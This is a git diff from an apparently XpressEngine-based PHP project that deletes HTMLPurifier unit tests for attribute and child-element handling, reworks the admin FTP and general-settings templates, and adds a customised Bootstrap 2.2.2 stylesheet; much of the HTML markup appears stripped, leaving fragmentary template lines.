'en') - ); - } - - function testPreserveAttributes() { - $this->assertResult( - array('src' => 'vert.png', 'lang' => 'fr'), - array('src' => 'vert.png', 'lang' => 'fr', 'xml:lang' => 'fr') - ); - } - - function testCopyXMLLangToLang() { - $this->assertResult( - array('xml:lang' => 'en'), - array('xml:lang' => 'en', 'lang' => 'en') - ); - } - - function testXMLLangOverridesLang() { - $this->assertResult( - array('lang' => 'fr', 'xml:lang' => 'de'), - array('lang' => 'de', 'xml:lang' => 'de') - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/LengthTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/LengthTest.php deleted file mode 100644 index 3fbaa0ccf..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/LengthTest.php +++ /dev/null @@ -1,45 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_Length('width'); - } - - function testEmptyInput() { - $this->assertResult( array() ); - } - - function testTransformPixel() { - $this->assertResult( - array('width' => '10'), - array('style' => 'width:10px;') - ); - } - - function testTransformPercentage() { - $this->assertResult( - array('width' => '10%'), - array('style' => 'width:10%;') - ); - } - - function testPrependNewCSS() { - $this->assertResult( - array('width' => '10%', 'style' => 'font-weight:bold'), - array('style' => 'width:10%;font-weight:bold') - ); - } - - function testLenientTreatmentOfInvalidInput() { - $this->assertResult( - array('width' => 'asdf'), - array('style' => 'width:asdf;') - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/NameSyncTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/NameSyncTest.php deleted file mode 100644 index bae4a8d03..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/NameSyncTest.php +++ /dev/null @@ -1,40 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_NameSync(); - $this->accumulator = new HTMLPurifier_IDAccumulator(); - $this->context->register('IDAccumulator', $this->accumulator); - $this->config->set('Attr.EnableID', true); - } - - function testEmpty() { - $this->assertResult( array() ); - } - - function testAllowSame() { - $this->assertResult( - array('name' => 'free', 'id' => 'free') - ); - } - - function testAllowDifferent() { - $this->assertResult( - array('name' => 'tryit', 'id' => 'thisgood') - ); - } - - function testCheckName() { - $this->accumulator->add('notok'); - $this->assertResult( - array('name' => 'notok', 'id' => 'ok'), - array('id' => 'ok') - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/NameTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/NameTest.php deleted file mode 100644 index 10e121238..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/NameTest.php +++ /dev/null @@ -1,31 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_Name(); - } - - function testEmpty() { - $this->assertResult( array() ); - } - - function testTransformNameToID() { - $this->assertResult( - array('name' => 'free'), - array('id' => 'free') - ); - } - - function testExistingIDOverridesName() { - $this->assertResult( - array('name' => 'tryit', 'id' => 'tobad'), - array('id' => 'tobad') - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransformHarness.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransformHarness.php deleted file mode 100644 index d43c0108f..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransformHarness.php +++ /dev/null @@ -1,13 +0,0 @@ -func = 'transform'; - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransformTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransformTest.php deleted file mode 100644 index 71a788580..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransformTest.php +++ /dev/null @@ -1,45 +0,0 @@ -prependCSS($attr, 'style:new;'); - $this->assertIdentical(array('style' => 'style:new;'), $attr); - - $attr = array('style' => 'style:original;'); - $t->prependCSS($attr, 'style:new;'); - $this->assertIdentical(array('style' => 'style:new;style:original;'), $attr); - - $attr = array('style' => 'style:original;', 'misc' => 'un-related'); - $t->prependCSS($attr, 'style:new;'); - $this->assertIdentical(array('style' => 'style:new;style:original;', 'misc' => 'un-related'), $attr); - - } - - function test_confiscateAttr() { - - $t = new HTMLPurifier_AttrTransformTestable(); - - $attr = array('flavor' => 'sweet'); - $this->assertIdentical('sweet', $t->confiscateAttr($attr, 'flavor')); - $this->assertIdentical(array(), $attr); - - $attr = array('flavor' => 'sweet'); - $this->assertIdentical(null, $t->confiscateAttr($attr, 'color')); - $this->assertIdentical(array('flavor' => 'sweet'), $attr); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTypesTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTypesTest.php deleted file mode 100644 index d1ae43709..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTypesTest.php +++ /dev/null @@ -1,26 +0,0 @@ -assertIdentical( - $types->get('CDATA'), - new HTMLPurifier_AttrDef_Text() - ); - - $this->expectError('Cannot retrieve undefined attribute type foobar'); - $types->get('foobar'); - - $this->assertIdentical( - $types->get('Enum#foo,bar'), - new HTMLPurifier_AttrDef_Enum(array('foo', 'bar')) - ); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrValidator_ErrorsTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrValidator_ErrorsTest.php deleted file mode 100644 index 307d3292b..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrValidator_ErrorsTest.php +++ /dev/null @@ -1,66 +0,0 @@ -language = HTMLPurifier_LanguageFactory::instance()->create($config, $this->context); - $this->context->register('Locale', $this->language); - $this->collector = new HTMLPurifier_ErrorCollector($this->context); - $this->context->register('Generator', new HTMLPurifier_Generator($config, $this->context)); - } - - protected function invoke($input) { - $validator = new HTMLPurifier_AttrValidator(); - $validator->validateToken($input, $this->config, $this->context); - } - - function testAttributesTransformedGlobalPre() { - $def = $this->config->getHTMLDefinition(true); - generate_mock_once('HTMLPurifier_AttrTransform'); - $transform = new HTMLPurifier_AttrTransformMock(); - $input = array('original' => 'value'); - $output = array('class' => 'value'); // must be valid - $transform->setReturnValue('transform', $output, array($input, new AnythingExpectation(), new AnythingExpectation())); - $def->info_attr_transform_pre[] = $transform; - - $token = new HTMLPurifier_Token_Start('span', $input, 1); - $this->invoke($token); - - $result = $this->collector->getRaw(); - $expect = array( - array(1, E_NOTICE, 'Attributes on transformed from original to class', array()), - ); - $this->assertIdentical($result, $expect); - } - - function testAttributesTransformedLocalPre() { - $this->config->set('HTML.TidyLevel', 'heavy'); - $input = array('align' => 'right'); - $output = array('style' => 'text-align:right;'); - $token = new HTMLPurifier_Token_Start('p', $input, 1); - $this->invoke($token); - $result = $this->collector->getRaw(); - $expect = array( - array(1, E_NOTICE, 'Attributes on

    transformed from align to style', array()), - ); - $this->assertIdentical($result, $expect); - } - - // too lazy to check for global post and global pre - - function testAttributeRemoved() { - $token = new HTMLPurifier_Token_Start('p', array('foobar' => 'right'), 1); - $this->invoke($token); - $result = $this->collector->getRaw(); - $expect = array( - array(1, E_ERROR, 'foobar attribute on

    removed', array()), - ); - $this->assertIdentical($result, $expect); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/ChildDef/ChameleonTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/ChildDef/ChameleonTest.php deleted file mode 100644 index 82493f40e..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/ChildDef/ChameleonTest.php +++ /dev/null @@ -1,40 +0,0 @@ -obj = new HTMLPurifier_ChildDef_Chameleon( - 'b | i', // allowed only when in inline context - 'b | i | div' // allowed only when in block context - ); - $this->context->register('IsInline', $this->isInline); - } - - function testInlineAlwaysAllowed() { - $this->isInline = true; - $this->assertResult( - 'Allowed.' - ); - } - - function testBlockNotAllowedInInline() { - $this->isInline = true; - $this->assertResult( - '

    Not allowed.
    ', '' - ); - } - - function testBlockAllowedInNonInline() { - $this->isInline = false; - $this->assertResult( - '
    Allowed.
    ' - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/ChildDef/CustomTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/ChildDef/CustomTest.php deleted file mode 100644 index 5b138a3c1..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/ChildDef/CustomTest.php +++ /dev/null @@ -1,89 +0,0 @@ -obj = new HTMLPurifier_ChildDef_Custom('(a,b?,c*,d+,(a,b)*)'); - - $this->assertEqual($this->obj->elements, array('a' => true, - 'b' => true, 'c' => true, 'd' => true)); - - $this->assertResult('', false); - $this->assertResult('', false); - - $this->assertResult(''); - $this->assertResult('Dobfoo'. - 'foo'); - - } - - function testNesting() { - $this->obj = new HTMLPurifier_ChildDef_Custom('(a,b,(c|d))+'); - $this->assertEqual($this->obj->elements, array('a' => true, - 'b' => true, 'c' => true, 'd' => true)); - $this->assertResult('', false); - $this->assertResult(''); - $this->assertResult('', false); - } - - function testNestedEitherOr() { - $this->obj = new HTMLPurifier_ChildDef_Custom('b,(a|(c|d))+'); - $this->assertEqual($this->obj->elements, array('a' => true, - 'b' => true, 'c' => true, 'd' => true)); - $this->assertResult('', false); - $this->assertResult(''); - $this->assertResult(''); - $this->assertResult(''); - $this->assertResult('', false); - } - - function testNestedQuantifier() { - $this->obj = new HTMLPurifier_ChildDef_Custom('(b,c+)*'); - $this->assertEqual($this->obj->elements, array('b' => true, 'c' => true)); - $this->assertResult(''); - $this->assertResult(''); - $this->assertResult(''); - $this->assertResult(''); - $this->assertResult('', false); - } - - function testEitherOr() { - - $this->obj = new HTMLPurifier_ChildDef_Custom('a|b'); - $this->assertEqual($this->obj->elements, array('a' => true, 'b' => true)); - $this->assertResult('', false); - $this->assertResult(''); - $this->assertResult(''); - $this->assertResult('', false); - - } - - function testCommafication() { - - $this->obj = new HTMLPurifier_ChildDef_Custom('a,b'); - $this->assertEqual($this->obj->elements, array('a' => true, 'b' => true)); - $this->assertResult(''); - $this->assertResult('', false); - - } - - function testPcdata() { - $this->obj = new HTMLPurifier_ChildDef_Custom('#PCDATA,a'); - $this->assertEqual($this->obj->elements, array('#PCDATA' => true, 'a' => true)); - $this->assertResult('foo'); - $this->assertResult('', false); - } - - function testWhitespace() { - $this->obj = new HTMLPurifier_ChildDef_Custom('a'); - $this->assertEqual($this->obj->elements, array('a' => true)); - $this->assertResult('foo', false); - $this->assertResult(''); - $this->assertResult(' '); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/ChildDef/ListTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/ChildDef/ListTest.php deleted file mode 100644 index 02dcab0fb..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/ChildDef/ListTest.php +++ /dev/null @@ -1,50 +0,0 @@ -obj = new HTMLPurifier_ChildDef_List(); - } - - function testEmptyInput() { - $this->assertResult('', false); - } - - function testSingleLi() { - $this->assertResult('
  • '); - } - - function testSomeLi() { - $this->assertResult('
  • asdf
  • '); - } - - function testIllegal() { - // XXX actually this never gets triggered in practice - $this->assertResult('
  • ', '
  • '); - } - - function testOlAtBeginning() { - $this->assertResult('
      ', '
      1. '); - } - - function testOlAtBeginningWithOtherJunk() { - $this->assertResult('
        1. ', '
          1. '); - } - - function testOlInMiddle() { - $this->assertResult('
          2. Foo
            1. Bar
            ', '
          3. Foo
            1. Bar
          4. '); - } - - function testMultipleOl() { - $this->assertResult('
              1. ', '
                  1. '); - } - - function testUlAtBeginning() { - $this->assertResult(' -

                    - - -

                    +
                    +
                    + +
                    +
                    + +
                    +
                    + + + +
                    +
                    +
                    +

                    {$lang->admin_menu_add}

                    - -
                    -
                    + diff --git a/modules/admin/tpl/config_ftp.html b/modules/admin/tpl/config_ftp.html index 0b8f3bf79..4208abd88 100644 --- a/modules/admin/tpl/config_ftp.html +++ b/modules/admin/tpl/config_ftp.html @@ -1,62 +1,126 @@ - -
                    -

                    {$XE_VALIDATOR_MESSAGE}

                    +
                    +

                    {$lang->menu_gnb_sub['adminConfigurationFtp']} {$lang->help}

                    -
                    +
                    +

                    {$XE_VALIDATOR_MESSAGE}

                    +
                    +

                    {$lang->detail_about_ftp_info}

                    + -
                    -

                    {$lang->menu_gnb_sub['adminConfigurationFtp']}

                    -
                      -
                    • -

                      [?]

                      -
                      -

                      {$lang->detail_about_ftp_info}

                      -
                      -

                      Default : 127.0.0.1

                      -
                    • -
                    • -

                      -

                      -
                    • -

                      -

                      {$lang->about_ftp_password}

                      -
                    • -
                    • -

                      -

                      Default : 21

                      -
                    • -
                    • -

                      -

                      - ftp_pasv == 'Y')-->checked="checked" /> - ftp_pasv != 'Y')-->checked="checked" /> -

                      -
                    • -
                    • -

                      -

                      - sftp == 'Y')-->checked="checked" disabled /> - sftp != 'Y')-->checked="checked" /> -

                      -
                    • -
                    • -

                      -

                      + + +

                      +

                      {$lang->subtitle_primary}

                      +
                      + +
                      + +
                      +
                      +
                      + +
                      + +

                      {$lang->about_ftp_password}

                      +
                      +
                      +
                    • -
                    -
                    -
                    - +

                    {$lang->msg_ftp_installed_realpath} : {_XE_PATH_}

                    +
                    +
                    + + +
                    +
                    - + + + diff --git a/modules/admin/tpl/config_general.html b/modules/admin/tpl/config_general.html index 5b20ba89d..9c7d6b2e7 100644 --- a/modules/admin/tpl/config_general.html +++ b/modules/admin/tpl/config_general.html @@ -1,256 +1,242 @@ - - - -
                    - - -

                    {$lang->menu_gnb_sub['adminConfigurationGeneral']}

                    -
                    -

                    {$lang->subtitle_primary}

                    -
                      -
                    • -

                      {$lang->about_start_module}

                      -
                      - - - {$lang->cmd_find} -
                      -
                      -

                      {$lang->select_site}

                      -
                      -
                      - - -
                      -
                      -
                      -
                        -
                      -
                      -
                      -
                      -

                      {$lang->select_module_type}

                      -
                      -
                        -
                      -
                      -
                      -
                      -

                      {$lang->select_module_instance}

                      -
                      - -
                      - -
                      -
                      -
                      -
                    • -
                    • -

                      {$lang->about_lang_select}

                      -

                      - - - - - - - checked="checked" /> - - - +

                      +

                      {$lang->menu_gnb_sub['adminConfigurationGeneral']} {$lang->help}

                      +
                      +
                      +

                      {$XE_VALIDATOR_MESSAGE}

                      +
                      +
                      +

                      {$lang->subtitle_primary}

                      + + + + +
                      + +
                      +
                      + +
                      + +
                      +
                      +
                      + +
                      + +
                      +
                      +
                      + +
                      + +
                      +
                      +
                      + +
                      + +
                      +
                      +
                      + +
                      + +
                      +
                      +
                      + +
                      + + +
                      +
                      +
                      + +
                      + + +
                      +
                      +
                      + +
                      + +
                      +
                      +
                      + +
                      +

                      + favicon + favicon Image

                      -
                    • -
                    • -

                      -

                      - -

                      -
                    • -
                    • -

                      -

                      - -

                      -
                    • -
                    • -

                      {$lang->about_question_mobile_view}

                      -

                      - checked="checked" /> - checked="checked" /> -

                      -
                    • -
                    • -

                      {$lang->about_thumbnail_type}

                      -

                      - checked="checked" /> - - checked="checked" /> - -

                      -
                    • -
                    • -

                      [?]

                      -

                      -

                      {$lang->detail_input_footer_script}

                      -
                      -

                      - -

                      -
                    • -
                    • -

                      {$lang->allow_use_favicon}

                      -

                      - favicon - favicon Image - {$lang->cmd_delete} -

                      -

                      {$lang->about_use_favicon}

                      -
                    • -
                    • -

                      {$lang->allow_use_mobile_icon}

                      -

                      + +

                      + + +

                      + + +

                      +
                      + {$lang->about_use_favicon} + + +
                      + +
                      +

                      Mobile Home Icon www - {$lang->cmd_delete}

                      -

                      {$lang->detail_use_mobile_icon}

                      -
                    • -
                    -
                    -
                    -

                    {$lang->subtitle_advanced}

                    -
                      -
                    • -

                      [?]

                      -
                      -

                      {$lang->detail_about_admin_ip_limit}

                      -
                      -

                      - - {$lang->local_ip_address} : {$IP}

                      -
                    • -
                    • -

                      [?]

                      -
                      -

                      {$lang->about_default_url}

                      -
                      -

                      -
                    • -
                    • -

                      [?]

                      -
                      -

                      {$lang->about_use_ssl}

                      -
                      -

                      - - checked="checked" /> - -

                      -
                    • -
                    • -

                      -

                      - -    - -

                      -
                    • -
                    • -

                      {$lang->about_cdn}

                      -

                      - checked="checked" /> - checked="checked" /> -

                      -
                    • -
                    • -

                      -

                      - checked="checked" /> - checked="checked" /> -

                      -
                    • -
                    • -

                      [?]

                      -
                      -

                      {$lang->about_sso}

                      -
                      -

                      - checked="checked" /> - checked="checked" /> -

                      -
                    • -
                    • -

                      [?]

                      -
                      -

                      {$lang->about_db_session}

                      -
                      -

                      - checked="checked" /> - checked="checked" /> -

                      -
                    • -
                    • -

                      [?]

                      -
                      -

                      {$lang->about_qmail_compatibility}

                      -
                      -

                      - checked="checked" /> - checked="checked" /> -

                      -
                    • -
                    • -

                      {$lang->about_html_dtd}

                      -

                      - checked="checked" /> - checked="checked" /> -

                      -
                    • -
                    -
                    -
                    - + +
                    + + +

                    + + +

                    +
                    + {$lang->detail_use_mobile_icon} +
                    + +
                    +
                    + +
                    +
                    - + + + + + diff --git a/modules/admin/tpl/css/admin.bootstrap.css b/modules/admin/tpl/css/admin.bootstrap.css new file mode 100644 index 000000000..9e2ac1360 --- /dev/null +++ b/modules/admin/tpl/css/admin.bootstrap.css @@ -0,0 +1,1594 @@ +@charset "utf-8"; +/*! + * Bootstrap v2.2.2 + * + * Copyright 2012 Twitter, Inc + * Licensed under the Apache License v2.0 + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Designed and built with all the love in the world @twitter by @mdo and @fat. + * + * This file is customized for XE admin. + */ +.x{font-size:100%;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;line-height:20px;color:#333} +.x article, +.x aside, +.x details, +.x figcaption, +.x figure, +.x footer, +.x header, +.x hgroup, +.x nav, +.x section{display:block} +.x audio, +.x canvas, +.x video{display:inline-block;*display:inline;*zoom:1} +.x audio:not([controls]){display:none} +.x a:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px} +.x a:hover, +.x a:active{outline:0} +.x sub, +.x sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline} +.x sup{top:-0.5em} +.x sub{bottom:-0.25em} +.x img{width:auto\9;height:auto;max-width:100%;vertical-align:middle;border:0;-ms-interpolation-mode:bicubic} +.x #map_canvas img, +.x .google-maps img{max-width:none} +.x button, +.x input, +.x select, +.x textarea{margin:0;font-size:100%;vertical-align:middle} +.x button, +.x input{*overflow:visible} +.x button::-moz-focus-inner, +.x input::-moz-focus-inner{padding:0;border:0} +.x button, +.x input[type="button"], +.x input[type="reset"], +.x input[type="submit"]{cursor:pointer;-webkit-appearance:button} +.x label, +.x select, +.x button, +.x input[type="button"], +.x input[type="reset"], +.x input[type="submit"], +.x input[type="radio"], +.x input[type="checkbox"]{cursor:pointer} +.x input[type="search"]{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;-webkit-appearance:textfield} +.x input[type="search"]::-webkit-search-decoration, +.x input[type="search"]::-webkit-search-cancel-button{-webkit-appearance:none} +.x textarea{overflow:auto;vertical-align:top} +@media print{ +.x *{color:#000 !important;text-shadow:none !important;background:transparent !important;box-shadow:none !important} +.x a, +.x a:visited{text-decoration:underline} +.x a[href]:after{content:"("attr(href)")"} +.x abbr[title]:after{content:"("attr(title)")"} +.x .x_ir a:after, +.x a[href^="javascript:"]:after, +.x a[href^="#"]:after{content:""} +.x pre, +.x blockquote{border:1px solid #999;page-break-inside:avoid} +.x thead{display:table-header-group} +.x tr, +.x img{page-break-inside:avoid} +.x img{max-width:100% !important} +@page{margin:0.5cm} +.x p, +.x h2, +.x h3{orphans:3;widows:3} +.x h2, +.x h3{page-break-after:avoid} +} +.x .x_clearfix{*zoom:1} +.x .x_clearfix:before, +.x .x_clearfix:after{display:table;line-height:0;content:""} +.x .x_clearfix:after{clear:both} +.x .x_hide-text{font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0} +.x .x_input-block-level{display:block;width:100%;min-height:30px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box} +.x a{color:#0088cc;text-decoration:none} +.x a:hover{color:#005580;text-decoration:underline} +.x .x_img-rounded{-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px} +.x .x_img-polaroid{padding:4px;background-color:#fff;border:1px solid #ccc;border:1px solid rgba(0, 0, 0, 0.2);-webkit-box-shadow:0 1px 3px rgba(0, 0, 0, 0.1);-moz-box-shadow:0 1px 3px rgba(0, 0, 0, 0.1);box-shadow:0 1px 3px rgba(0, 0, 0, 0.1)} +.x .x_img-circle{-webkit-border-radius:500px;-moz-border-radius:500px;border-radius:500px} +.x .x_row{margin-left:-20px;*zoom:1} +.x .x_row:before, +.x .x_row:after{display:table;line-height:0;content:""} +.x .x_row:after{clear:both} +.x [class*="x_span"]{float:left;min-height:1px;margin-left:20px} +.x .x_container, +.x .x_navbar-static-top .x_container, +.x .x_navbar-fixed-top .x_container, +.x .x_navbar-fixed-bottom .x_container{width:940px} +.x .x_span12{width:940px} +.x .x_span11{width:860px} +.x .x_span10{width:780px} +.x .x_span9{width:700px} +.x .x_span8{width:620px} +.x .x_span7{width:540px} +.x .x_span6{width:460px} +.x .x_span5{width:380px} +.x .x_span4{width:300px} +.x .x_span3{width:220px} +.x .x_span2{width:140px} +.x .x_span1{width:60px} +.x .x_offset12{margin-left:980px} +.x .x_offset11{margin-left:900px} +.x .x_offset10{margin-left:820px} +.x .x_offset9{margin-left:740px} +.x .x_offset8{margin-left:660px} +.x .x_offset7{margin-left:580px} +.x .x_offset6{margin-left:500px} +.x .x_offset5{margin-left:420px} +.x .x_offset4{margin-left:340px} +.x .x_offset3{margin-left:260px} +.x .x_offset2{margin-left:180px} +.x .x_offset1{margin-left:100px} +.x .x_row-fluid{width:100%;*zoom:1} +.x .x_row-fluid:before, +.x .x_row-fluid:after{display:table;line-height:0;content:""} +.x .x_row-fluid:after{clear:both} +.x .x_row-fluid [class*="x_span"]{display:block;float:left;width:100%;min-height:30px;margin-left:2.127659574468085%;*margin-left:2.074468085106383%;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box} +.x .x_row-fluid [class*="x_span"]:first-child{margin-left:0} +.x .x_row-fluid .x_controls-row [class*="x_span"]+[class*="x_span"]{margin-left:2.127659574468085%} +.x .x_row-fluid .x_span12{width:100%;*width:99.94680851063829%} +.x .x_row-fluid .x_span11{width:91.48936170212765%;*width:91.43617021276594%} +.x .x_row-fluid .x_span10{width:82.97872340425532%;*width:82.92553191489361%} +.x .x_row-fluid .x_span9{width:74.46808510638297%;*width:74.41489361702126%} +.x .x_row-fluid .x_span8{width:65.95744680851064%;*width:65.90425531914893%} +.x .x_row-fluid .x_span7{width:57.44680851063829%;*width:57.39361702127659%} +.x .x_row-fluid .x_span6{width:48.93617021276595%;*width:48.88297872340425%} +.x .x_row-fluid .x_span5{width:40.42553191489362%;*width:40.37234042553192%} +.x .x_row-fluid .x_span4{width:31.914893617021278%;*width:31.861702127659576%} +.x .x_row-fluid .x_span3{width:23.404255319148934%;*width:23.351063829787233%} +.x .x_row-fluid .x_span2{width:14.893617021276595%;*width:14.840425531914894%} +.x .x_row-fluid .x_span1{width:6.382978723404255%;*width:6.329787234042553%} +.x .x_row-fluid .x_offset12{margin-left:104.25531914893617%;*margin-left:104.14893617021275%} +.x .x_row-fluid .x_offset12:first-child{margin-left:102.12765957446808%;*margin-left:102.02127659574467%} +.x .x_row-fluid .x_offset11{margin-left:95.74468085106382%;*margin-left:95.6382978723404%} +.x .x_row-fluid .x_offset11:first-child{margin-left:93.61702127659574%;*margin-left:93.51063829787232%} +.x .x_row-fluid .x_offset10{margin-left:87.23404255319149%;*margin-left:87.12765957446807%} +.x .x_row-fluid .x_offset10:first-child{margin-left:85.1063829787234%;*margin-left:84.99999999999999%} +.x .x_row-fluid .x_offset9{margin-left:78.72340425531914%;*margin-left:78.61702127659572%} +.x .x_row-fluid .x_offset9:first-child{margin-left:76.59574468085106%;*margin-left:76.48936170212764%} +.x .x_row-fluid .x_offset8{margin-left:70.2127659574468%;*margin-left:70.10638297872339%} +.x .x_row-fluid .x_offset8:first-child{margin-left:68.08510638297872%;*margin-left:67.9787234042553%} +.x .x_row-fluid .x_offset7{margin-left:61.70212765957446%;*margin-left:61.59574468085106%} +.x .x_row-fluid .x_offset7:first-child{margin-left:59.574468085106375%;*margin-left:59.46808510638297%} +.x .x_row-fluid .x_offset6{margin-left:53.191489361702125%;*margin-left:53.085106382978715%} +.x .x_row-fluid .x_offset6:first-child{margin-left:51.063829787234035%;*margin-left:50.95744680851063%} +.x .x_row-fluid .x_offset5{margin-left:44.68085106382979%;*margin-left:44.57446808510638%} +.x .x_row-fluid .x_offset5:first-child{margin-left:42.5531914893617%;*margin-left:42.4468085106383%} +.x .x_row-fluid .x_offset4{margin-left:36.170212765957444%;*margin-left:36.06382978723405%} +.x .x_row-fluid .x_offset4:first-child{margin-left:34.04255319148936%;*margin-left:33.93617021276596%} +.x .x_row-fluid .x_offset3{margin-left:27.659574468085104%;*margin-left:27.5531914893617%} +.x .x_row-fluid .x_offset3:first-child{margin-left:25.53191489361702%;*margin-left:25.425531914893618%} +.x .x_row-fluid .x_offset2{margin-left:19.148936170212764%;*margin-left:19.04255319148936%} +.x .x_row-fluid .x_offset2:first-child{margin-left:17.02127659574468%;*margin-left:16.914893617021278%} +.x .x_row-fluid .x_offset1{margin-left:10.638297872340425%;*margin-left:10.53191489361702%} +.x .x_row-fluid .x_offset1:first-child{margin-left:8.51063829787234%;*margin-left:8.404255319148938%} +.x [class*="x_span"].x_hide, +.x .x_row-fluid [class*="x_span"].x_hide{display:none} +.x [class*="x_span"].x_pull-right, +.x .x_row-fluid [class*="x_span"].x_pull-right{float:right} +.x .x_container{margin-right:auto;margin-left:auto;*zoom:1} +.x .x_container:before, +.x .x_container:after{display:table;line-height:0;content:""} +.x .x_container:after{clear:both} +.x .x_container-fluid{padding-right:20px;padding-left:20px;*zoom:1} +.x .x_container-fluid:before, +.x .x_container-fluid:after{display:table;line-height:0;content:""} +.x .x_container-fluid:after{clear:both} +.x p{margin:0 0 10px} +.x .x_lead{margin-bottom:20px;font-size:21px;font-weight:200;line-height:30px} +.x small{font-size:85%} +.x strong{font-weight:bold} +.x em{font-style:italic} +.x cite{font-style:normal} +.x .x_muted{color:#999999} +.x a.x_muted:hover{color:#808080} +.x .x_text-warning{color:#c09853} +.x a.x_text-warning:hover{color:#a47e3c} +.x .x_text-error{color:#b94a48} +.x a.x_text-error:hover{color:#953b39} +.x .x_text-info{color:#3a87ad} +.x a.x_text-info:hover{color:#2d6987} +.x .x_text-success{color:#468847} +.x a.x_text-success:hover{color:#356635} +.x h1, +.x h2, +.x h3, +.x h4, +.x h5, +.x h6{margin:10px 0;font-family:inherit;font-weight:bold;line-height:20px;color:inherit;text-rendering:optimizelegibility} +.x h1 small, +.x h2 small, +.x h3 small, +.x h4 small, +.x h5 small, +.x h6 small{font-weight:normal;line-height:1;color:#999999} +.x h1, +.x h2, +.x h3{line-height:40px} +.x h1{font-size:38.5px} +.x h2{font-size:31.5px} +.x h3{font-size:24.5px} +.x h4{font-size:17.5px} +.x h5{font-size:14px} +.x h6{font-size:11.9px} +.x h1 small{font-size:24.5px} +.x h2 small{font-size:17.5px} +.x h3 small{font-size:14px} +.x h4 small{font-size:14px} +.x .x_page-header{padding-bottom:9px;margin:20px 0 30px;border-bottom:1px solid #eeeeee} +.x ul, +.x ol{padding:0;margin:0 0 10px 25px} +.x ul ul, +.x ul ol, +.x ol ol, +.x ol ul{margin-bottom:0} +.x li{line-height:20px} +.x ul.x_unstyled, +.x ol.x_unstyled{margin-left:0;list-style:none} +.x ul.x_inline, +.x ol.x_inline{margin-left:0;list-style:none} +.x ul.x_inline>li, +.x ol.x_inline>li{display:inline-block;padding-right:5px;padding-left:5px} +.x dl{margin-bottom:20px} +.x dt, +.x dd{line-height:20px} +.x dt{font-weight:bold} +.x dd{margin-left:10px} +.x .x_dl-horizontal{*zoom:1} +.x .x_dl-horizontal:before, +.x .x_dl-horizontal:after{display:table;line-height:0;content:""} +.x .x_dl-horizontal:after{clear:both} +.x .x_dl-horizontal dt{float:left;width:160px;overflow:hidden;clear:left;text-align:right;text-overflow:ellipsis;white-space:nowrap} +.x .x_dl-horizontal dd{margin-left:180px} +.x hr{margin:20px 0;border:0;border-top:1px solid #eeeeee;border-bottom:1px solid #ffffff} +.x abbr[title], +.x abbr[data-original-title]{cursor:help;border-bottom:1px dotted #999999} +.x abbr.x_initialism{font-size:90%;text-transform:uppercase} +.x blockquote{padding:0 0 0 15px;margin:0 0 20px;border-left:5px solid #eeeeee} +.x blockquote p{margin-bottom:0;font-size:16px;font-weight:300;line-height:25px} +.x blockquote small{display:block;line-height:20px;color:#999999} +.x blockquote small:before{content:'\2014 \00A0'} +.x blockquote.x_pull-right{float:right;padding-right:15px;padding-left:0;border-right:5px solid #eeeeee;border-left:0} +.x blockquote.x_pull-right p, +.x blockquote.x_pull-right small{text-align:right} +.x blockquote.x_pull-right small:before{content:''} +.x blockquote.x_pull-right small:after{content:'\00A0 \2014'} +.x q:before, +.x q:after, +.x blockquote:before, +.x blockquote:after{content:""} +.x address{display:block;margin-bottom:20px;font-style:normal;line-height:20px} +.x code, +.x pre{padding:0 3px 2px;font-family:Monaco, Menlo, Consolas, "Courier New", monospace;font-size:12px;color:#333333;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px} +.x 